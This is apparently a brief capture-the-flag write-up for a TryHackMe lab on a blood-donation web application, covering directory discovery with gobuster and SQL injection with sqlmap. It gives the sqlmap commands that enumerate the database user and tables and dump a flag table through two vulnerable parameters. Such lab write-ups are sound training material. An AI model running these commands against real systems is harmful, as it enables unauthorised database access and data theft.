sqlmap

SQLMAPTryHackMe

Upon visiting the webpage, I was greeted with a plain page without any useful external links or information.

Finding the first directory

I used gobuster with a common word list from Daniel Miessler's list:

$ gobuster dir -u http://<target>.com/ -w DanielMiesslerSecLists/Discovery/Web-Content/common.txt

But did not receive any positive results. From the description of the challenge, it appears that this application relates to "Blood Donations". Thus, I tried the directory /blood, and it worked.

SQL Injection with sqlmap

Navigating through the application while behind Burp suite proxy, I found 2 requests within the application that are potentially vulnerable to an SQL injection attack. This is due to the nature of the request being likely to return a value retrieved directly from the database.

1. POST /blood/nl-search.php

POST /blood/nl-search.php HTTP/1.1

blood_group=A%2B

$ sqlmap -r req.txt -p blood_group --current-user

$ sqlmap -r req.txt -p blood_group -D blood --tables

$ sqlmap -r req.txt -p blood_group -D blood -T flag --dump

1. GET blood/view.php?id=1

The outputs are the same for each options as the ones above respectively.

$ sqlmap http://10.10.181.14/blood/view.php?id=1 --current-user

$ sqlmap http://10.10.181.14/blood/view.php?id=1 -D blood --tables

$ sqlmap http://10.10.181.14/blood/view.php?id=1 -D blood -T flag --dump
